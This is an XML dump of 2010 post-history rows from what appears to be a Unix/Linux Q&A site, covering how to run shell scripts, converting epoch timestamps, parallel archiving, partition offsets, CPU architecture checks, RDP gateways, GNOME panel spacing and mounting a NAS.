  <row Id="6227" PostHistoryTypeId="1" PostId="2973" RevisionGUID="d5947a08-d5ec-4d21-ab63-0f32253b0c86" CreationDate="2010-10-11T10:07:54.180" UserId="92" Text="Finding the offset for ext4 partition" />
  <row Id="6228" PostHistoryTypeId="3" PostId="2973" RevisionGUID="d5947a08-d5ec-4d21-ab63-0f32253b0c86" CreationDate="2010-10-11T10:07:54.180" UserId="92" Text="émountàégrubàéext4àéloopbackà" />
  <row Id="6233" PostHistoryTypeId="2" PostId="2976" RevisionGUID="44e73e7e-9e80-4d43-aa03-19f3c3ad7d01" CreationDate="2010-10-11T10:53:39.293" UserId="250" Text="There a several ways to execute a script, the ones I know are:&#xD;&#xA;&#xD;&#xA;    /path/to/script # using the path (absolute or relative)&#xD;&#xA;    . script        # using the . (dot)&#xD;&#xA;    source script   # using the `source` command&#xD;&#xA;&#xD;&#xA;Are the more of this? What are the differences between them? Are there situations that I must use one and not another?" />
  <row Id="6234" PostHistoryTypeId="1" PostId="2976" RevisionGUID="44e73e7e-9e80-4d43-aa03-19f3c3ad7d01" CreationDate="2010-10-11T10:53:39.293" UserId="250" Text="different ways to execute a shell script" />
  <row Id="6235" PostHistoryTypeId="3" PostId="2976" RevisionGUID="44e73e7e-9e80-4d43-aa03-19f3c3ad7d01" CreationDate="2010-10-11T10:53:39.293" UserId="250" Text="éexecutableàéshellöscriptà" />
  <row Id="6236" PostHistoryTypeId="2" PostId="2977" RevisionGUID="495cd5a5-dcdc-464c-9c0b-b0532057257f" CreationDate="2010-10-11T11:05:28.493" UserId="2237" Text="    sh script&#xD;&#xA;    bash script&#xD;&#xA;&#xD;&#xA;I am pondering if there are more..." />
  <row Id="6237" PostHistoryTypeId="2" PostId="2978" RevisionGUID="98a48d58-6075-4fa9-843e-72a11cee5104" CreationDate="2010-10-11T11:07:20.030" UserId="2180" Text="Another way is by calling the interpreter and passing the path to the script to it:&#xD;&#xA;&#xD;&#xA;    /bin/sh /path/to/script&#xD;&#xA;&#xD;&#xA;The dot and source are equivalent. It executes the script in-place (as if you copied and pasted the script right there). This means that any functions and non-local variables in the script remain. It also means if the script does a cd into a directory, you'll still be there when its done.&#xD;&#xA;&#xD;&#xA;The other ways of running a script will run it in its own subshell. Variables in the script are not still alive when it's done. If the script changed directories, then it doesn't affect the calling environment.&#xD;&#xA;&#xD;&#xA;/path/to/script and /bin/sh script are slightly different. Typically, a script has a &quot;shebang&quot; at the beginning that looks like this:&#xD;&#xA;&#xD;&#xA;    #! /bin/bash&#xD;&#xA;This is the path to the script interpreter. If it specifies a different interpreter than you do when you execute it, then it may behave differently (or may not work at all).&#xD;&#xA;&#xD;&#xA;For example, Perl scripts and Ruby scripts begin with (respectively):&#xD;&#xA;&#xD;&#xA;    #! /bin/perl&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    #! /bin/ruby&#xD;&#xA;If you execute one of those scripts by running /bin/sh script, then they will not work at all.&#xD;&#xA;&#xD;&#xA;Ubuntu actually doesn't use the bash shell, but a very similar one called dash. Scripts that require bash may work slightly wrong when called by doing /bin/sh script because you've just called a bash script using the dash interpreter." />
  <row Id="6238" PostHistoryTypeId="5" PostId="2977" RevisionGUID="04176b51-9be1-46f0-9cc9-5b1e2537b36e" CreationDate="2010-10-11T11:10:40.733" UserId="2237" Comment="added 453 characters in body; added 1 characters in body" Text="    sh script&#xD;&#xA;    bash script&#xD;&#xA;&#xD;&#xA;I am pondering if there are more...&#xD;&#xA;&#xD;&#xA;`.` and `source` are the same. After execution any changes of environment in `script` would be kept. Usually, it would be used to source a Bash library, so the library can be re-use in many different scripts.&#xD;&#xA;&#xD;&#xA;Also it's a good way to keep current directory. If you change directory in script, it won't be applied in the shell which you execute that script. But if you source it to run it, after the script exits, the current directory will be kept." />
  <row Id="6239" PostHistoryTypeId="2" PostId="2979" RevisionGUID="5024a76e-ed4c-444f-8c7c-08bd75c17287" CreationDate="2010-10-11T11:11:01.917" UserId="1383" Text="`.` and `source` are equivalent in that they don't spawn a subprocess but execute commands in the current shell. This is important when the script sets environment variables or changes current working directory.&#xD;&#xA;&#xD;&#xA;Using the path or giving it to `/bin/sh` creates a new process in which commands are executed." />
  <row Id="6240" PostHistoryTypeId="6" PostId="2965" RevisionGUID="4a9b07b3-e753-428c-a70b-ef1c5851748c" CreationDate="2010-10-11T11:11:56.910" UserId="1383" Comment="edited tags" Text="écommandölineàéubuntuàédirectoryà" />
  <row Id="6241" PostHistoryTypeId="2" PostId="2980" RevisionGUID="6c77d8b5-9c35-48e2-93c7-b3ad41b12865" CreationDate="2010-10-11T11:12:15.660" UserId="173" Text="Parted should be able to read disk image from file and interpret the partition table. So use&#xD;&#xA;&#xD;&#xA;    parted -s disk.img unit s print&#xD;&#xA;&#xD;&#xA;For my (testing) disk image it gives:&#xD;&#xA;&#xD;&#xA;    # parted -s /root/sdd.img unit s print&#xD;&#xA;    Model:  (file)&#xD;&#xA;    Disk /root/sdd.img: 16384s&#xD;&#xA;    Sector size (logical/physical): 512B/512B&#xD;&#xA;    Partition Table: msdos&#xD;&#xA;    &#xD;&#xA;    Number  Start  End     Size   Type     File system  Flags&#xD;&#xA;     1      5s     7812s   7808s  primary               type=83&#xD;&#xA;     2      7872s  16383s  8512s  primary               type=83&#xD;&#xA;&#xD;&#xA;You can see which sector each partition starts (and ends) at." />
  <row Id="6242" PostHistoryTypeId="2" PostId="2981" RevisionGUID="fdc30e75-b245-47fb-8656-ff3b07d9cf8e" CreationDate="2010-10-11T12:30:39.563" UserId="1941" Text="There is an extensive howto on how to get gcc and binutils running on a FreeBSD System at http://www.freebsd.org/doc/en/articles/custom-gcc/article.html As you say FreeNAS is based on FreeBSD, this probably applies here, too. But keep in mind, that compile complex software on an embedded system isn't much fun. Probably you will have more success by setting up a cross-compiler on your main system and compile there the software for you FreeNAS system. See http://www.productionmonkeys.net/guides/freenas/building-freenas for a howto on this." />
  <row Id="6243" PostHistoryTypeId="2" PostId="2982" RevisionGUID="221878fa-8492-4f39-a548-81d690ccbc38" CreationDate="2010-10-11T12:38:17.930" UserId="92" Text="I found out the problem wasn't related to grub at all.  The image had errors in it, and the fix involved running e2fsck." />
  <row Id="6244" PostHistoryTypeId="2" PostId="2983" RevisionGUID="079264ed-edc4-48c4-a225-e249dc9d1ab5" CreationDate="2010-10-11T12:42:30.090" UserId="92" Text="Is there something out there for parallel archiving of files?&#xD;&#xA;&#xD;&#xA;Tar is great, but I don't use tape archives, and it's more important to me that the archiving happens quickly (with compression like bzip2) since I have smp." />
  <row Id="6245" PostHistoryTypeId="1" PostId="2983" RevisionGUID="079264ed-edc4-48c4-a225-e249dc9d1ab5" CreationDate="2010-10-11T12:42:30.090" UserId="92" Text="Is there a parallel file archiver (like tar)?" />
  <row Id="6246" PostHistoryTypeId="3" PostId="2983" RevisionGUID="079264ed-edc4-48c4-a225-e249dc9d1ab5" CreationDate="2010-10-11T12:42:30.090" UserId="92" Text="étaràéarchiveà" />
  <row Id="6248" PostHistoryTypeId="2" PostId="2984" RevisionGUID="223dea7e-c8c5-4e22-9c4c-c31b41ea5067" CreationDate="2010-10-11T12:56:11.133" UserId="1339" Text="I think you are looking for pbzip2:&#xD;&#xA;&#xD;&#xA;&gt; PBZIP2 is a parallel implementation of&#xD;&#xA;&gt; the bzip2 block-sorting file&#xD;&#xA;&gt; compressor that uses pthreads and&#xD;&#xA;&gt; achieves near-linear speedup on SMP&#xD;&#xA;&gt; machines.&#xD;&#xA;&#xD;&#xA;Have a look at the [project homepage][1] or check your favorite package repository.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://compression.ca/pbzip2/" />
  <row Id="6249" PostHistoryTypeId="6" PostId="2983" RevisionGUID="c8f02ab7-1df4-4b06-9f42-4a45b013f088" CreationDate="2010-10-11T12:58:19.567" UserId="1339" Comment="edited tags" Text="éperformanceàétaràéarchiveà" />
  <row Id="6250" PostHistoryTypeId="2" PostId="2985" RevisionGUID="e14346e2-044f-4a38-bff8-1ec3c5a80c04" CreationDate="2010-10-11T13:04:43.110" UserId="1941" Text="[7zip][1] can run on multiple threads when given the -mmt flag, but only when compressing into 7z-archives which offer great compression but are generally slower to create then zip archives. Do something like this.&#xD;&#xA;&#xD;&#xA;    7z a -mmt foo.7z /opt/myhugefile.dat&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://p7zip.sourceforge.net/" />
  <row Id="6251" PostHistoryTypeId="2" PostId="2986" RevisionGUID="e44868b5-7b76-4245-bd4a-8e3d26d3eae5" CreationDate="2010-10-11T13:45:53.830" UserId="483" Text="Are you sure it only lets you use one disk?&#xD;&#xA;&#xD;&#xA;It asks you for a root disk to install the bootloader. You should select the smaller disk and select manual partitioning. Read the manual for disk label or, if you know what you are doing, the installer help.&#xD;&#xA;&#xD;&#xA;After you set this disk up, other disks should be offered for setup in a list. Enter the name of the correct disk and follow on to disklabel and add the remaining partitions in that disk.&#xD;&#xA;&#xD;&#xA;I've only ever used the emulated VAX in simh, but I doubt there is any difference as long as both disks are actually detected correctly.&#xD;&#xA;" />
  <row Id="6252" PostHistoryTypeId="2" PostId="2987" RevisionGUID="e6fdfea4-6f54-46dd-8245-0906bce1732a" CreationDate="2010-10-11T13:46:12.440" UserId="29" Text="How do I convert an epoch timestamp to a human readable format on the cli? I think there's a way to do it with date but the syntax eludes me (other ways welcome)." />
  <row Id="6253" PostHistoryTypeId="1" PostId="2987" RevisionGUID="e6fdfea4-6f54-46dd-8245-0906bce1732a" CreationDate="2010-10-11T13:46:12.440" UserId="29" Text="How do I convert an epoch timestamp to a human readable format on the cli?" />
  <row Id="6254" PostHistoryTypeId="3" PostId="2987" RevisionGUID="e6fdfea4-6f54-46dd-8245-0906bce1732a" CreationDate="2010-10-11T13:46:12.440" UserId="29" Text="écommandölineàéshellà" />
  <row Id="6255" PostHistoryTypeId="2" PostId="2988" RevisionGUID="14fc07ce-829a-4805-8420-36108dd10aa1" CreationDate="2010-10-11T13:54:57.220" UserId="1941" Text="`date -d @1190000000` Replace 1190000000 with your epoch" />
  <row Id="6256" PostHistoryTypeId="5" PostId="2978" RevisionGUID="d2beaa46-a434-40ab-bd76-8a40fbbdb07f" CreationDate="2010-10-11T14:12:28.243" UserId="2180" Comment="Added extra detail about executable mode on script files." Text="Another way is by calling the interpreter and passing the path to the script to it:&#xD;&#xA;&#xD;&#xA;    /bin/sh /path/to/script&#xD;&#xA;&#xD;&#xA;The dot and source are equivalent. It executes the script in-place (as if you copied and pasted the script right there). This means that any functions and non-local variables in the script remain. It also means if the script does a cd into a directory, you'll still be there when its done.&#xD;&#xA;&#xD;&#xA;The other ways of running a script will run it in its own subshell. Variables in the script are not still alive when it's done. If the script changed directories, then it doesn't affect the calling environment.&#xD;&#xA;&#xD;&#xA;/path/to/script and /bin/sh script are slightly different. Typically, a script has a &quot;shebang&quot; at the beginning that looks like this:&#xD;&#xA;&#xD;&#xA;    #! /bin/bash&#xD;&#xA;This is the path to the script interpreter. If it specifies a different interpreter than you do when you execute it, then it may behave differently (or may not work at all).&#xD;&#xA;&#xD;&#xA;For example, Perl scripts and Ruby scripts begin with (respectively):&#xD;&#xA;&#xD;&#xA;    #! /bin/perl&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    #! /bin/ruby&#xD;&#xA;If you execute one of those scripts by running /bin/sh script, then they will not work at all.&#xD;&#xA;&#xD;&#xA;Ubuntu actually doesn't use the bash shell, but a very similar one called dash. Scripts that require bash may work slightly wrong when called by doing /bin/sh script because you've just called a bash script using the dash interpreter.&#xD;&#xA;&#xD;&#xA;Another small difference between calling the script directly and passing the script path to the interpreter is that the script must be marked executable to run it directly, but not to run it by passing the path to the interpreter." />
  <row Id="6257" PostHistoryTypeId="5" PostId="2978" RevisionGUID="aa8c034e-33b5-44f9-9b79-d90b7ec70afd" CreationDate="2010-10-11T14:26:53.450" UserId="2180" Comment="added 181 characters in body; added 84 characters in body" Text="Another way is by calling the interpreter and passing the path to the script to it:&#xD;&#xA;&#xD;&#xA;    /bin/sh /path/to/script&#xD;&#xA;&#xD;&#xA;The dot and source are equivalent. It executes the script in-place (as if you copied and pasted the script right there). This means that any functions and non-local variables in the script remain. It also means if the script does a cd into a directory, you'll still be there when its done.&#xD;&#xA;&#xD;&#xA;The other ways of running a script will run it in its own subshell. Variables in the script are not still alive when it's done. If the script changed directories, then it doesn't affect the calling environment.&#xD;&#xA;&#xD;&#xA;/path/to/script and /bin/sh script are slightly different. Typically, a script has a &quot;shebang&quot; at the beginning that looks like this:&#xD;&#xA;&#xD;&#xA;    #! /bin/bash&#xD;&#xA;This is the path to the script interpreter. If it specifies a different interpreter than you do when you execute it, then it may behave differently (or may not work at all).&#xD;&#xA;&#xD;&#xA;For example, Perl scripts and Ruby scripts begin with (respectively):&#xD;&#xA;&#xD;&#xA;    #! /bin/perl&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    #! /bin/ruby&#xD;&#xA;If you execute one of those scripts by running /bin/sh script, then they will not work at all.&#xD;&#xA;&#xD;&#xA;Ubuntu actually doesn't use the bash shell, but a very similar one called dash. Scripts that require bash may work slightly wrong when called by doing /bin/sh script because you've just called a bash script using the dash interpreter.&#xD;&#xA;&#xD;&#xA;Another small difference between calling the script directly and passing the script path to the interpreter is that the script must be marked executable to run it directly, but not to run it by passing the path to the interpreter.&#xD;&#xA;&#xD;&#xA;Another minor variation: you can prefix any of these ways to execute a script with eval, so, you can have&#xD;&#xA;&#xD;&#xA;    eval sh script&#xD;&#xA;    eval script&#xD;&#xA;    eval . script&#xD;&#xA;&#xD;&#xA;and so on. It doesn't actually change anything, but I thought I'd include it for thoroughness." />
  <row Id="6258" PostHistoryTypeId="2" PostId="2989" RevisionGUID="ead437d8-d79f-492f-bb42-2f33924962d5" CreationDate="2010-10-11T14:43:22.703" UserId="732" Text="Does &quot;[userland exec][1]&quot; count as a different way?  Userland exec loads code and gets it to execute without the use of an execve() system call.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://archive.cert.uni-stuttgart.de/bugtraq/2004/01/msg00002.html" />
  <row Id="6259" PostHistoryTypeId="6" PostId="2987" RevisionGUID="b2f6d300-81a2-4857-af12-56fd4d20930f" CreationDate="2010-10-11T14:46:15.743" UserId="1207" Comment="edited tags" Text="écommandölineàéshellàédatesà" />
  <row Id="6260" PostHistoryTypeId="2" PostId="2990" RevisionGUID="8ee32173-5ef8-4562-807a-99e02f365d58" CreationDate="2010-10-11T17:45:50.997" UserDisplayName="jose152" Text="The first time I installed GNU Linux on my desktop... I installed Debian, no help, I only installed the basic system, no GUI... and I was like: &#xD;&#xA;&#xD;&#xA;&quot;*OMFG OMFG WHAT I HAVE TO DO NOW?... I will need to back to **Windows***&quot; &#xD;&#xA;&#xD;&#xA;but then I remembered how to install packages (*first time in GNU Linux, only a jose@debian:$ output and only readed some things from Debian*) and the name of an **IRC Client: IRSSI** and the name: **GNOME** and then I installed them... since that day, **I install IRSSI and GNOME in every machine**...&#xD;&#xA;&#xD;&#xA;It feels... good being experimenting with your computer xD&#xD;&#xA;&#xD;&#xA;*Greetings.*" />
  <row Id="6261" PostHistoryTypeId="2" PostId="2991" RevisionGUID="32996403-27cb-4612-8332-4beb0c70283b" CreationDate="2010-10-11T17:56:38.490" UserId="4" Text="Most people debug shell scripts by adding the following [debuging flags][1] to the script:&#xD;&#xA;&#xD;&#xA;	set -x     # Print command traces before executing command.&#xD;&#xA;	set -x     # Prints shell input lines as they are read.&#xD;&#xA;	set -xv    # Or do both&#xD;&#xA;&#xD;&#xA;But this means you need to open the file with an editor (assuming you have permissions to edit the file), adding a line like `set -x`, save the file, then execute the file. Then when you are done you need to follow the same steps and remove the `set -x`, etc. etc. This can be tedious.&#xD;&#xA;&#xD;&#xA;Instead of doing all that, you can set the debugging flags on the commandline:&#xD;&#xA;&#xD;&#xA;    $ bash -x ~/bin/ducks&#xD;&#xA;    + du -cks -x dir1 dir2 dir3 file1 file2 file3&#xD;&#xA;    + sort -n&#xD;&#xA;    + tail .ducks&#xD;&#xA;    123 etc&#xD;&#xA;    424	bin&#xD;&#xA;    796	total&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ sh -xv ~/bin/ducks  &#xD;&#xA;    #!/usr/bin/env bash&#xD;&#xA;&#xD;&#xA;    # Find the disk hog&#xD;&#xA;    # Borrowed from http://oreilly.com/pub/h/15&#xD;&#xA;    ...&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/Bash-Beginners-Guide/html/sect_02_03.html#table_02_01" />
  <row Id="6262" PostHistoryTypeId="2" PostId="2992" RevisionGUID="3a96a91a-5631-4742-9272-e39dae30f59b" CreationDate="2010-10-11T18:04:25.017" UserId="4" Text="    $ echo 1190000000 | perl -pe 's/(\d+)/localtime($1)/e' &#xD;&#xA;    Sun Sep 16 20:33:20 2007&#xD;&#xA;&#xD;&#xA;This can come in handy for those applications which use epoch time in the logfiles:&#xD;&#xA;&#xD;&#xA;    $ tail -f /var/log/nagios/nagios.log | perl -pe 's/(\d+)/localtime($1)/e'&#xD;&#xA;    [Thu May 13 10:15:46 2010] EXTERNAL COMMAND: PROCESS_SERVICE_CHECK_RESULT;HOSTA;check_raid;0;check_raid.pl: OK (Unit 0 on Controller 0 is OK)&#xD;&#xA;" />
  <row Id="6263" PostHistoryTypeId="2" PostId="2993" RevisionGUID="a83ea755-fc7b-42c0-90c2-91aa8b647776" CreationDate="2010-10-11T18:11:28.450" UserId="885" Text="On *BSD:&#xD;&#xA;&#xD;&#xA;    date -r 1234567890&#xD;&#xA;&#xD;&#xA;On Linux (specifically, with GNU coreutils ≥5.3:&#xD;&#xA;&#xD;&#xA;    date -d @1234567890&#xD;&#xA;&#xD;&#xA;With older versions of GNU date:&#xD;&#xA;&#xD;&#xA;    date -d '70-1-1 + 1234567890 sec'&#xD;&#xA;&#xD;&#xA;If you need portability, you're out of luck. The only time you can format with a POSIX shell command (without doing the calculation yourself) line is the current time. In practice, Perl is often available:&#xD;&#xA;&#xD;&#xA;    perl -le 'print scalar localtime $ARGV[0]' 1234567890&#xD;&#xA;" />
  <row Id="6265" PostHistoryTypeId="2" PostId="2994" RevisionGUID="c6bfb21a-994d-49cd-8a10-6d5a7b509b90" CreationDate="2010-10-11T18:56:01.317" UserId="885" Text="There are several possible answers depending on what exactly you want to know (I don't know which one AIX's `bootinfo` corresponds to).&#xD;&#xA;&#xD;&#xA;* You can see whether the CPU is 64-bit, 32-bit, or capable of both by checking the `flags` line in `/proc/cpuinfo`. You have to know the possible flags on your architecture family. For example, on i386/amd64 platforms, the `lm` flag identifies amd64-capable CPUs (CPUs that don't have that flag are i386-only).&#xD;&#xA;&#xD;&#xA;* You can see whether the kernel is 32-bit or 64-bit by querying the architecture with `uname -m`. For example, `i[3456]86` is are 32-bit while `x86_64` is 64-bit. Note that on several architectures, a 64-bit kernel can run 32-bit userland programs, so even if the `uname -m` shows a 64-bit kernel, there is no guarantee that 64-bit libraries will be available.&#xD;&#xA;&#xD;&#xA;* You can see what is available in userland by querying the [LSB](http://refspecs.freestandards.org/lsb.shtml) support with the [`lsb_release`](http://linux.die.net/man/1/lsb_release) command. More precisely, `lsb-release -s` prints a `:`-separated list of supported LSB features. Each feature has the formm &lt;code&gt;*module*-*version*-*architecture*&lt;/code&gt;. For example, availability of an ix86 C library is indicated by `core-2.0-ia32`, while `core-2.0-amd64` is the analog for amd64. Not every distribution declares all the available LSB modules though, so more may be available than is detectable in this way.&#xD;&#xA;&#xD;&#xA;* You can find out the preferred word size for development (assuming a C compiler is available) by compiling a 5-line C program that prints `sizeof(void*)` or `sizeof(size_t)`.&#xD;&#xA;" />
  <row Id="6266" PostHistoryTypeId="5" PostId="2971" RevisionGUID="c0931695-17b7-4167-8869-bbb3e6834972" CreationDate="2010-10-11T19:11:02.377" UserId="1207" Comment="added 4 characters in body" Text="Usually `uname -m` should do the trick, as should `arch`. &#xD;&#xA;&#xD;&#xA;The output of both of these commands will tell you the architecture for which the kernel was built.  Whether this is 32 or 64 bit is usually pretty clear (x86_64 and ia64 are two possible 64-bit architectures).  However, note that you could have a 32-bit kernel while running on 64-bit hardware.  If you really want to know about the hardware try looking at either&#xD;&#xA;&#xD;&#xA;`less /proc/cpuinfo`&#xD;&#xA;&#xD;&#xA;if the &quot;flags&quot; line has 'lm' in it, then it is 64 bit.&#xD;&#xA;&#xD;&#xA;Or, if you have `lshw`&#xD;&#xA;&#xD;&#xA;`lshw -class processor`&#xD;&#xA;&#xD;&#xA;and look at the &quot;width&quot; line.&#xD;&#xA;&#xD;&#xA;For both of these options, `grep` can be employed to quickly get the answer without looking at the output." />
  <row Id="6267" PostHistoryTypeId="5" PostId="2970" RevisionGUID="1e44adf9-930b-463b-bc47-2cc5dc26c088" CreationDate="2010-10-11T19:54:23.760" UserId="1207" Comment="deleted 3 characters in body; edited tags" Text="**[bootinfo][1]** for AIX:&#xD;&#xA;&#xD;&#xA;&gt;...shows whether the hardware in use is 32-bit or 64-bit.&#xD;&#xA;&#xD;&#xA;What command/utility for Linux would do this job?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://publib.boulder.ibm.com/infocenter/javasdk/v5r0/index.jsp?topic=/com.ibm.java.doc.diagnostics.50/diag/problem_determination/aix_cmd_bootinfo_y.html" />
  <row Id="6268" PostHistoryTypeId="6" PostId="2970" RevisionGUID="1e44adf9-930b-463b-bc47-2cc5dc26c088" CreationDate="2010-10-11T19:54:23.760" UserId="1207" Comment="deleted 3 characters in body; edited tags" Text="élinuxàéunixàéaixà" />
  <row Id="6269" PostHistoryTypeId="2" PostId="2995" RevisionGUID="27534d3a-8a22-49ff-9841-5bd63882c139" CreationDate="2010-10-11T20:09:12.623" UserId="101" Text="I posted this on SuperUser but I thought _this_ would be the better audience. (So sorry for crossposting...)&#xD;&#xA;  &#xD;&#xA;My employer switched from vpn and rdp to using what our admin calls &quot;rdp over https&quot;.&#xD;&#xA;Since that switch I find myself unable to connect to the &quot;new&quot; rdp server.&#xD;&#xA;&#xD;&#xA;I _think_ the progress is as follows:&#xD;&#xA;&#xD;&#xA; - A rdp gateway-server is connected via tls&#xD;&#xA; - the requested sever (different from the gateway-server) is then connected through the tls connection.&#xD;&#xA;&#xD;&#xA;In windows mstsc-settings the server name is the &quot;internal network name&quot; of the machine I wish to connect. And on the last tab (in German it is called &quot;leistung&quot; - could be activity) I go to the &quot;connection from everywhere&quot; settings and set the gateway-server under gateway-server.&#xD;&#xA;&#xD;&#xA;Now:  &#xD;&#xA;Is there **any** way to use this scenario under linux (apart from a virtual machine   running Windows)?  &#xD;&#xA;I am interested in&#xD;&#xA;&#xD;&#xA; - free ideas (e.g. is it possible to create a tls tunnel and connect through that using freerdp/rdesktop?)&#xD;&#xA; - non-free ideas. As long as they work I'll worry about the costs later.&#xD;&#xA;&#xD;&#xA;Free ideas would be better :-)&#xD;&#xA;&#xD;&#xA;On SuperUser I got the idea to expose an ssh server and tunnel rdp through it. This is a valid idea but not feasible in my case. I really need a Idea to connect to the rdp server via the gateway-server." />
  <row Id="6270" PostHistoryTypeId="1" PostId="2995" RevisionGUID="27534d3a-8a22-49ff-9841-5bd63882c139" CreationDate="2010-10-11T20:09:12.623" UserId="101" Text="rpd over https using a linux client" />
  <row Id="6271" PostHistoryTypeId="3" PostId="2995" RevisionGUID="27534d3a-8a22-49ff-9841-5bd63882c139" CreationDate="2010-10-11T20:09:12.623" UserId="101" Text="élinuxà" />
  <row Id="6272" PostHistoryTypeId="2" PostId="2996" RevisionGUID="bd4771e1-6e9b-44a2-a0c8-952c3e97eef6" CreationDate="2010-10-11T20:10:45.723" UserId="2200" Text="Hi, &#xD;&#xA;&#xD;&#xA;I'm having a problem in the top menu panel since a couple of days, some space has been created between some icons and I don't know how to remove it. A screendump:&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/ddW4P.png&#xD;&#xA;&#xD;&#xA;Does anyone know what the reason could be for it?&#xD;&#xA;&#xD;&#xA;By the way, I'm using Ubuntu Lucyd (should I ask in the ubuntu site?).&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="6273" PostHistoryTypeId="1" PostId="2996" RevisionGUID="bd4771e1-6e9b-44a2-a0c8-952c3e97eef6" CreationDate="2010-10-11T20:10:45.723" UserId="2200" Text="Gnome menu panel blank space" />
  <row Id="6274" PostHistoryTypeId="3" PostId="2996" RevisionGUID="bd4771e1-6e9b-44a2-a0c8-952c3e97eef6" CreationDate="2010-10-11T20:10:45.723" UserId="2200" Text="égnomeà" />
  <row Id="6275" PostHistoryTypeId="5" PostId="2995" RevisionGUID="e7ea896b-8502-4336-931c-c22482578141" CreationDate="2010-10-11T20:17:22.073" UserId="73" Comment="Added SU link" Text="I [posted this on SuperUser](http://superuser.com/questions/197890/rpd-over-https-using-a-linux-client) but I thought _this_ would be the better audience. (So sorry for crossposting...)&#xD;&#xA;  &#xD;&#xA;My employer switched from vpn and rdp to using what our admin calls &quot;rdp over https&quot;.&#xD;&#xA;Since that switch I find myself unable to connect to the &quot;new&quot; rdp server.&#xD;&#xA;&#xD;&#xA;I _think_ the progress is as follows:&#xD;&#xA;&#xD;&#xA; - A rdp gateway-server is connected via tls&#xD;&#xA; - the requested sever (different from the gateway-server) is then connected through the tls connection.&#xD;&#xA;&#xD;&#xA;In windows mstsc-settings the server name is the &quot;internal network name&quot; of the machine I wish to connect. And on the last tab (in German it is called &quot;leistung&quot; - could be activity) I go to the &quot;connection from everywhere&quot; settings and set the gateway-server under gateway-server.&#xD;&#xA;&#xD;&#xA;Now:  &#xD;&#xA;Is there **any** way to use this scenario under linux (apart from a virtual machine   running Windows)?  &#xD;&#xA;I am interested in&#xD;&#xA;&#xD;&#xA; - free ideas (e.g. is it possible to create a tls tunnel and connect through that using freerdp/rdesktop?)&#xD;&#xA; - non-free ideas. As long as they work I'll worry about the costs later.&#xD;&#xA;&#xD;&#xA;Free ideas would be better :-)&#xD;&#xA;&#xD;&#xA;On SuperUser I got the idea to expose an ssh server and tunnel rdp through it. This is a valid idea but not feasible in my case. I really need a Idea to connect to the rdp server via the gateway-server." />
  <row Id="6276" PostHistoryTypeId="5" PostId="2996" RevisionGUID="e0fc290d-0739-40f8-b065-0f3d8a42de90" CreationDate="2010-10-11T20:18:31.770" UserId="1207" Comment="edited body; edited tags" Text="Hi, &#xD;&#xA;&#xD;&#xA;I'm having a problem in the top menu panel since a couple of days, some space has been created between some icons and I don't know how to remove it. A screendump:&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/ddW4P.png&#xD;&#xA;&#xD;&#xA;Does anyone know what the reason could be for it?&#xD;&#xA;&#xD;&#xA;By the way, I'm using Ubuntu Lucid (should I ask in the ubuntu site?).&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="6277" PostHistoryTypeId="6" PostId="2996" RevisionGUID="e0fc290d-0739-40f8-b065-0f3d8a42de90" CreationDate="2010-10-11T20:18:31.770" UserId="1207" Comment="edited body; edited tags" Text="égnomeàégnomeöpanelà" />
  <row Id="6278" PostHistoryTypeId="2" PostId="2997" RevisionGUID="b34d5205-9df1-4a79-b7ae-ac7e0d92945a" CreationDate="2010-10-11T20:31:24.520" UserId="1074" Text="As far as I can see from the screenshot, it could be either of two things.  &#xD;&#xA;  &#xD;&#xA;It doesn't look like the spacing between icons as defined by gnome is off, but just to make sure, you could run:  &#xD;&#xA;  &#xD;&#xA;    gconftool-2 --type int --set /apps/panel/toplevels/top_panel/padding 0&#xD;&#xA;    gconftool-2 --type int --set /apps/panel/toplevels/bottom_panel/padding 0&#xD;&#xA;    gconftool-2 --type int --set /apps/panel/applets/systray/prefs/padding 0  &#xD;&#xA;  &#xD;&#xA;The other possibility is that due to a resolution change your icons on the panel got stuck out of position. This is really annoying, and if the icons are locked they won't automatically swap back into place when you switch to the previous res. This happens a lot with dynamically resizable VMs.  &#xD;&#xA;To deal with this, make sure that the icons are unlocked (right click, untick &quot;Lock&quot;) and then move them back to where they belong.  &#xD;&#xA;  &#xD;&#xA;  &#xD;&#xA;Please let us know if this resolved your issue.  &#xD;&#xA;Regards.&#xD;&#xA;" />
  <row Id="6279" PostHistoryTypeId="2" PostId="2998" RevisionGUID="772eb168-e50e-4268-ada4-bedbf76d84ac" CreationDate="2010-10-11T20:51:14.983" UserId="451" Text="I have a WD MyBook World NAS on my home network.  I currently use this for Time Machine backups for my Mac but I'd also like to use it as a backup location for my linux box which is running Ubuntu Server.  How can I mount this drive on the linux server so that my cron backups can use it as a backup destination?&#xD;&#xA;&#xD;&#xA;I have configured the WD drive with a static IP address which I assume would be important with the solution." />
  <row Id="6280" PostHistoryTypeId="1" PostId="2998" RevisionGUID="772eb168-e50e-4268-ada4-bedbf76d84ac" CreationDate="2010-10-11T20:51:14.983" UserId="451" Text="How do I mount a WD MyBook World network drive in linux?" />
  <row Id="6281" PostHistoryTypeId="3" PostId="2998" RevisionGUID="772eb168-e50e-4268-ada4-bedbf76d84ac" CreationDate="2010-10-11T20:51:14.983" UserId="451" Text="énetworkingàébackupà" />
